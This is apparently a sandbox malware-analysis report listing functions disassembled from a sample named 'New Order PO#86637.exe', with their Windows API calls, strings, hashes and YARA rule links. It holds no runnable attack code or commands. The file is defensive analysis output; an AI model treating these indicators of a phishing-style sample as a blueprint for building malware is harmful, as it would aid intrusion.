Instruction Fuzzy Hash: C7511570300214ABF720DF24DC85FAE77A9EF14724F10491EFA59AB291CB79E9498B18

Function 00434621 Relevance: 15.1, APIs: 10, Instructions: 98threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00434643
GetForegroundWindow.USER32(00000000), ref: 00434655
GetWindowThreadProcessId.USER32(00000000), ref: 0043465C
AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00434671
GetWindowThreadProcessId.USER32(?,?), ref: 0043467F
AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00434698
AttachThreadInput.USER32(00000000,00000000,00000001), ref: 004346A6
AttachThreadInput.USER32(00000000,00000000,00000000), ref: 004346F3
AttachThreadInput.USER32(00000000,00000000,00000000), ref: 00434707
AttachThreadInput.USER32(00000000,00000000,00000000), ref: 00434712

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 67cee910062edc5350ae4d2b9d1366d6ad4b01d413104696f98c87e4c7643c1b
Instruction ID: 33c2ceff45d8cb0672f592c0823183733d26e7ad7419b63083ab10cfbc882f35
Opcode Fuzzy Hash: 67cee910062edc5350ae4d2b9d1366d6ad4b01d413104696f98c87e4c7643c1b
Instruction Fuzzy Hash: 98313EB2600204BFDB11DF69DC859AEB7A9FB9A310F00552AF905D7250E778AD40CB6C

Function 0046943F Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 287COMMON

Download Yara Rule

Strings

INSTANCE, xrefs: 004696DF
TEXT, xrefs: 00469712
CLASS, xrefs: 004694F1
NAME, xrefs: 004695D7
REGEXPCLASS, xrefs: 0046954B
CLASSNN, xrefs: 0046951E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 0-1603158881
Opcode ID: b2205c720eb57eaa9acd20c5cdad8c47631596d61f09c649adc7dd6ac6f1094b
Instruction ID: 400245e8055df5988f0e80dfbae95eacb55e3b8a933f722a5dc1e2c8929bf265
Opcode Fuzzy Hash: b2205c720eb57eaa9acd20c5cdad8c47631596d61f09c649adc7dd6ac6f1094b
Instruction Fuzzy Hash: FAA162B5800204ABDF00EF61D8C1BEA3368AF54349F58857BEC096B146EB7D6909D77A

Function 004485CB Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00448603
SetMenu.USER32(?,00000000), ref: 00448613
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00448697
IsMenu.USER32(?), ref: 004486AB
CreatePopupMenu.USER32 ref: 004486B5
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 004486EC
DrawMenuBar.USER32 ref: 004486F5

Strings

0, xrefs: 004485E5

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0
API String ID: 161812096-4108050209
Opcode ID: 5f9c542d8f07ae56d95057f828c3334b95156dd137b7db0efda9360fb5a3d221
Instruction ID: 1651b4fd0bf3e4e6d8e032b2651979207be8780685d2f09cc615cc8e1c1775d8
Opcode Fuzzy Hash: 5f9c542d8f07ae56d95057f828c3334b95156dd137b7db0efda9360fb5a3d221
Instruction Fuzzy Hash: 9D418B75A01209AFEB40DF98D884ADEB7B4FF49314F10815EED189B340DB74A851CFA8

Function 00434034 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,004A90E8,?,00000100,?,C:\Users\user\Desktop\New Order PO#86637.exe), ref: 00434057
LoadStringW.USER32(00000000), ref: 00434060
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00434075
LoadStringW.USER32(00000000), ref: 00434078
_wprintf.LIBCMT ref: 004340A1
MessageBoxW.USER32(00000000,?,?,00011010), ref: 004340B9

Strings

%s (%d) : ==> %s: %s %s, xrefs: 0043409C
C:\Users\user\Desktop\New Order PO#86637.exe, xrefs: 00434040

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s$C:\Users\user\Desktop\New Order PO#86637.exe
API String ID: 3648134473-2016584718
Opcode ID: 5806584fae846cee426602f55e287a2c1afdddb79e6f9c87a69d5249cd46d2cb
Instruction ID: 3f99f1473d628bc1a501e0113e735bb0cc043e2cca9b2706ac47da9b95460e2a
Opcode Fuzzy Hash: 5806584fae846cee426602f55e287a2c1afdddb79e6f9c87a69d5249cd46d2cb
Instruction Fuzzy Hash: EB016CB26903187EE710E754DD06FFA376CEBC4B11F00459AB708A61C49AF469848BB5

Function 0047679F Relevance: 13.8, APIs: 9, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfbce8e1a613c74e072c21ad89e7d3e14579d4917e2b3053f757fec35ca8a5d3
Instruction ID: 0df76164974c5272bb459d6cb57aadea20bc0786d7edd9cc69ce034119999088
Opcode Fuzzy Hash: dfbce8e1a613c74e072c21ad89e7d3e14579d4917e2b3053f757fec35ca8a5d3
Instruction Fuzzy Hash: 10A1CE726083009FD310EF65D886B5BB3E9EBC4718F108E2EF559E7281D679E804CB96

Function 004561DA Relevance: 13.7, APIs: 9, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2351d13dc7e01734d52893050a6426585663f8e33c7fb02d488baa67b0c7faf
Instruction ID: d12da5a9263b129e99c802cec43d72d92cc496201e336192e500ad81068e5f87
Opcode Fuzzy Hash: b2351d13dc7e01734d52893050a6426585663f8e33c7fb02d488baa67b0c7faf
Instruction Fuzzy Hash: D7519C70600305ABEB20DF69CC81F9B77A8AB08715F50462AFE05DB3C1E7B5E8588B58

Function 00453893 Relevance: 13.7, APIs: 9, Instructions: 158filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410120: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\New Order PO#86637.exe,0040F545,C:\Users\user\Desktop\New Order PO#86637.exe,004A90E8,C:\Users\user\Desktop\New Order PO#86637.exe,?,0040F545), ref: 0041013C

Part of subcall function 00433998: GetFileAttributesW.KERNEL32(?), ref: 0043399F

lstrcmpiW.KERNEL32(?,?), ref: 00453900
MoveFileW.KERNEL32(?,?), ref: 00453932

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: File$AttributesFullMoveNamePathlstrcmpi
String ID:
API String ID: 978794511-0
Opcode ID: e7576e1258f6bbb5b55b57ee2c4336deeb121e8720ac0ec1c8be93e036d3feb8
Instruction ID: 27746a5f3a3ee1b1e58f24b17d6851fe0efcb48f315c8e59f2eb92c6bb7fc6f1
Opcode Fuzzy Hash: e7576e1258f6bbb5b55b57ee2c4336deeb121e8720ac0ec1c8be93e036d3feb8
Instruction Fuzzy Hash: 295155B2C0021996CF20EFA1DD45BEEB379AF44305F0445DEEA0DA3101EB79AB98CB55

Function 00441165 Relevance: 13.6, APIs: 9, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd945b6e1d8e8d9855cf24d2d3706bb91709aa24080d3beeb23df65cd9890c42
Instruction ID: 5433ce91f60fc94fc18d391a2a535eeaa569d09d9a52eba385401fd30cec28f3
Opcode Fuzzy Hash: dd945b6e1d8e8d9855cf24d2d3706bb91709aa24080d3beeb23df65cd9890c42
Instruction Fuzzy Hash: 5B41C4322142405AF3619B6DFCC4BEBBB98FBA6324F10056FF185E55A0C3EA74C58769

Function 00432704 Relevance: 13.5, APIs: 9, Instructions: 42COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0043271C
VariantClear.OLEAUT32(?), ref: 00432722
VariantClear.OLEAUT32(?), ref: 00432728
VariantClear.OLEAUT32(?), ref: 00432731
VariantClear.OLEAUT32(?), ref: 0043273A
VariantClear.OLEAUT32(?), ref: 00432740
VariantClear.OLEAUT32(?), ref: 00432749
VariantClear.OLEAUT32(?), ref: 00432752
VariantClear.OLEAUT32(?), ref: 0043275B

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 3e0aaa4ed6ce8b6007e7bdda37da77eca1e161273c17b4dd860825949f7c6934
Instruction ID: 82c0e5a8bed1f7f82a0371e607e4af2e63fad7cf90771a3a9635cac59f663638
Opcode Fuzzy Hash: 3e0aaa4ed6ce8b6007e7bdda37da77eca1e161273c17b4dd860825949f7c6934
Instruction Fuzzy Hash: C301ECB6000B486AD630E7B9DC84FD7B7ED6B85600F018E1DE69A82514DA75F188CB64

Function 0044F0B3 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 389COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0044F2D3
_memmove.LIBCMT ref: 0044F342
_memmove.LIBCMT ref: 0044F3B6

Strings

h, xrefs: 0044F78E
', xrefs: 0044F222
\, xrefs: 0044D061

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove$_memcmp
String ID: '$\$h
API String ID: 2205784470-1303700344
Opcode ID: b142f59b2296442f2f65cbc20b4c9604eb51a9c16c8aaf0febd8f469beae5ca2
Instruction ID: e67660c870af743a7fabfec7c4e9e8b186464fd05e4f656457aecd1ba61caca8
Opcode Fuzzy Hash: b142f59b2296442f2f65cbc20b4c9604eb51a9c16c8aaf0febd8f469beae5ca2
Instruction Fuzzy Hash: 5CE1C070A002498FDB18CFA9D8806BEFBF2FF89304F28816ED84697341D778A945CB54

Function 0045EA0F Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 325timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 0045EA56
VariantCopy.OLEAUT32(00000000), ref: 0045EA60
VariantClear.OLEAUT32 ref: 0045EA6D
VariantTimeToSystemTime.OLEAUT32 ref: 0045EC06
__swprintf.LIBCMT ref: 0045EC33
VariantInit.OLEAUT32(00000000), ref: 0045ECEE

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 0045EC2D

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Variant$InitTime$ClearCopySystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d
API String ID: 2441338619-1568723262
Opcode ID: 35eb9c3aeff660f135fd63a8918d5c45c4a90ea0b18b9c33d96ad8571bc730e4
Instruction ID: 6ef9d3a4897ddb850998a39013325e9d2daf595bbef4806ea59c93c68b265cd6
Opcode Fuzzy Hash: 35eb9c3aeff660f135fd63a8918d5c45c4a90ea0b18b9c33d96ad8571bc730e4
Instruction Fuzzy Hash: F8A10873A0061487CB209F5AE48066AF7B0FF84721F1485AFED849B341C736AD99D7E5

Function 004091B0 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 324sleepCOMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(004A7F04), ref: 0042C659
InterlockedDecrement.KERNEL32(004A7F04), ref: 0042C677
Sleep.KERNEL32(0000000A), ref: 0042C67F
InterlockedIncrement.KERNEL32(004A7F04), ref: 0042C68A
InterlockedDecrement.KERNEL32(004A7F04), ref: 0042C73C

Strings

@COM_EVENTOBJ, xrefs: 0042C771, 0042CA08

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Interlocked$DecrementIncrement$Sleep
String ID: @COM_EVENTOBJ
API String ID: 327565842-2228938565
Opcode ID: 9e658ec2980077184a1632dd5c21727ba620fa2cdb3865c7e3de5124d93aa359
Instruction ID: 079f2a2c733a9a3e151bbe14bd9981fb61a061d6167fc58a91b905d371dd4d86
Opcode Fuzzy Hash: 9e658ec2980077184a1632dd5c21727ba620fa2cdb3865c7e3de5124d93aa359
Instruction Fuzzy Hash: 18D1D271A002198FDB10EF94C985BEEB7B0FF45304F60856AE5057B392D778AE46CB98

Function 0047025C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 288COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0047031B
VariantClear.OLEAUT32(?), ref: 0047044F
VariantInit.OLEAUT32(?), ref: 004704A3
DispCallFunc.OLEAUT32(?,?,?,00000015,?,?,?,?), ref: 00470504
VariantClear.OLEAUT32(?), ref: 00470516

Part of subcall function 00435481: VariantCopy.OLEAUT32(?,?), ref: 00435492

VariantCopy.OLEAUT32(?,?), ref: 0047057A

Part of subcall function 00435403: VariantClear.OLEAUT32(?), ref: 00435414

VariantClear.OLEAUT32(00000000), ref: 0047060D

Strings

H, xrefs: 004702F6

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Variant$Clear$Copy$CallDispFuncInit
String ID: H
API String ID: 3613100350-2852464175
Opcode ID: f2b9533c7a0a825d738ebca76906f6301bd96a0988b7340563647801aa66eb79
Instruction ID: 4e55d858753f5aac0b63ea9498fb9ef25a468b81cfd7169f1740116cc4944d08
Opcode Fuzzy Hash: f2b9533c7a0a825d738ebca76906f6301bd96a0988b7340563647801aa66eb79
Instruction Fuzzy Hash: 93B15BB5605311EFD710DF54C880A6BB3A4FF88308F049A2EFA8997351D738E951CB9A

Function 00401CB0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 240COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00401D06
DestroyWindow.USER32(?), ref: 00426F50
UnregisterHotKey.USER32(?), ref: 00426F77
FreeLibrary.KERNEL32(?), ref: 0042701F
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00427050

Strings

close all, xrefs: 00401D01

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUnregisterVirtualWindow
String ID: close all
API String ID: 4174999648-3243417748
Opcode ID: 4fd900de9a28da208b58a3ba22ecdd4c26f042792ef41b4fe823b5ed5eb78ac9
Instruction ID: 89fc9d45334329c88beddca7a6314a06ce6e15860ee53b488cbf8147960762b2
Opcode Fuzzy Hash: 4fd900de9a28da208b58a3ba22ecdd4c26f042792ef41b4fe823b5ed5eb78ac9
Instruction Fuzzy Hash: 9BA1C174710212CFC710EF15C985B5AF3A8BF48304F5045AEE909672A2CB78BD96CF99

Function 0044AA86 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 174networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0044AAC5
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0044AAFA
InternetQueryOptionW.WININET(00000000,0000001F,00000000,00001000), ref: 0044AB5E
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0044AB74
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044AB83
HttpQueryInfoW.WININET(00000000,00000005,?,00001000,00000000), ref: 0044ABBB

Part of subcall function 004422CB: GetLastError.KERNEL32 ref: 004422E1

Strings

, xrefs: 0044ABB4

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: HttpInternet$OptionQueryRequest$ConnectErrorInfoLastOpenSend
String ID:
API String ID: 1291720006-3916222277
Opcode ID: 91fdcc8e85295173cca015a6521aec32459a41892940df1d160b2f6c73229ea3
Instruction ID: 89538bfc19842651326e528327905a39262a83d8aa3acd63c003c629d13479a9
Opcode Fuzzy Hash: 91fdcc8e85295173cca015a6521aec32459a41892940df1d160b2f6c73229ea3
Instruction Fuzzy Hash: FA51B1756403087BF710DF56DC86FEBB7A8FB88715F00851EFB0196281D7B8A5148BA8

Function 0045FBAC Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,FFFFFFFF,00000000,00000030), ref: 0045FC48
IsMenu.USER32(?), ref: 0045FC5F
CreatePopupMenu.USER32 ref: 0045FC97
GetMenuItemCount.USER32(?), ref: 0045FCFD
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0045FD26

Strings

0, xrefs: 0045FBF4
2, xrefs: 0045FC7B

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

